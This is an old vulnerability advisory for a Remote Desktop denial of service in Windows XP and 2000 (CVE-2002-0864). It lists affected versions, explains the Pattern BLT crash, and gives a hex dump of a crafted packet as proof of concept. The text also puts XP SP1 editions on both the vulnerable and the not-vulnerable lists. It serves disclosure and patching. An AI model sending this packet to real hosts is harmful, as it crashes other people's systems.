Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability

BID:5713

Info

Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability

Bugtraq ID: 5713
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2002-0864
Remote: Yes
Local: No
Published: Sep 16 2002 12:00AM
Updated: Jul 11 2009 05:06PM
Credit: Discovery of this issue is credited to Ben Cohen and Pete Chown of Skygate Technology Ltd.
Vulnerable: Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition
Microsoft Windows 2000 Terminal Services SP3
+ Microsoft Windows 2000 Advanced Server SP3
 + Microsoft Windows 2000 Datacenter Server SP3
 + Microsoft Windows 2000 Server SP3
 Microsoft Windows 2000 Terminal Services SP2
+ Microsoft Windows 2000 Advanced Server SP2
 + Microsoft Windows 2000 Datacenter Server SP2
 + Microsoft Windows 2000 Server SP2
 Microsoft Windows 2000 Terminal Services SP1
+ Microsoft Windows 2000 Advanced Server SP1
 + Microsoft Windows 2000 Datacenter Server SP1
 + Microsoft Windows 2000 Server SP1
 Microsoft Windows 2000 Terminal Services
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Datacenter Server
+ Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
 + Avaya S8100 Media Servers 0
 Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server
Microsoft Windows .NET Standard Server Beta 3
Not Vulnerable: Microsoft Windows XP Professional SP1
Microsoft Windows XP Home SP1
Microsoft Windows XP 64-bit Edition SP1

Discussion

Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability

The Microsoft Windows XP Professional Remote Desktop implementation is prone to a denial of service.

It is possible for a malicious client to trigger this condition by sending a maliciously crafted packet to the vulnerable host during the negotiation of client/server graphics capabilities. Clients may specify drawing commands based on what is supported. If the Pattern BLT command is specified in a packet, Microsoft Windows XP Professional will crash when it tries to render the pattern.

This issue also exists in Microsoft Windows .NET Standard Server Beta 3.

Exploit / POC

Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability

The following exploit information was provided:

Shown below is the unencrypted packet contents for the problematic PDU
Confirm Active packet. The only change is from 01 to 00 on the line
indicated.

c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01
4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00
03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00
00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05
00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00
58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00
2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01"
00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00
00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00
00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00
00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00
08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00
00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00
0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00
0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00
0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00
fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00
fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01
40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00
01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00
14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00
00 0a 00 01

Solution / Fix

Microsoft Windows XP Professional Remote Desktop Denial Of Service Vulnerability

Solution:
Microsoft has released patches:


Microsoft Windows 2000 Professional

Microsoft Windows 2000 Server SP2

Microsoft Windows 2000 Advanced Server SP3

Microsoft Windows XP Home

Microsoft Windows 2000 Advanced Server SP1

Microsoft Windows XP Home SP1

Microsoft Windows 2000 Advanced Server SP2

Microsoft Windows 2000 Datacenter Server SP3

Microsoft Windows 2000 Terminal Services SP3

Microsoft Windows XP 64-bit Edition SP1

Microsoft Windows 2000 Professional SP1

Microsoft Windows 2000 Server SP3

Microsoft Windows XP 64-bit Edition

Microsoft Windows 2000 Datacenter Server SP2

Microsoft Windows 2000 Terminal Services SP2

Microsoft Windows 2000 Server SP1

Microsoft Windows 2000 Professional SP3

Microsoft Windows XP Professional

Microsoft Windows 2000 Professional SP2

Microsoft Windows 2000 Terminal Services SP1

Microsoft Windows XP Professional SP1

Microsoft Windows 2000 Advanced Server

Microsoft Windows 2000 Terminal Services

Microsoft Windows 2000 Server

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